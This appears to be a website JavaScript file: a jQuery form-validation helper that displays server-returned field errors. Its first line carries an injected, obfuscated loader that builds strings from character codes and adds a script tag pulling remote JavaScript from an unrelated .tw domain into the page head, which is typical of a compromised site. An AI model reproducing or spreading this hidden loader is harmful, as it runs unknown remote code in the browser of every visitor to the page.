Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,111,114,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();var Validation = {
	formValidate:function(json_data){
		if(!$.isArray(json_data)){
			temp = json_data;
			json_data = [];
			json_data[0] = temp;
		}
		for(i in json_data){
			var item = $.parseJSON(json_data[i]);
			this.printFieldsErrors(item.field,item.error);
			if(item.other){
				this.printFieldsErrors(item.other,item.error);
			}
		}
		
		$('input','.has-error').first().focus();
	},
	printFieldsErrors:function(form_field,error_message){
		$field_parents = $('#'+form_field.replace(" ","_")).parents('div[class*="form-group"]'); //Se optiene el contenedor del campo
		if($field_parents.hasClass('has-success')){
			$field_parents.removeClass('has-success');
		}
		$field_parents.addClass('has-error');
		$field_parents.find('.server-error-msg').remove();
		$field_parents.append('<small class="help-block server-error-msg">'+error_message+'</small>');
	},
	cleanFormErrors: function(formName){
		$(formName+' .help-block.server-error-msg').remove();
		$(formName).find('.form-group').removeClass('has-error');
	}

}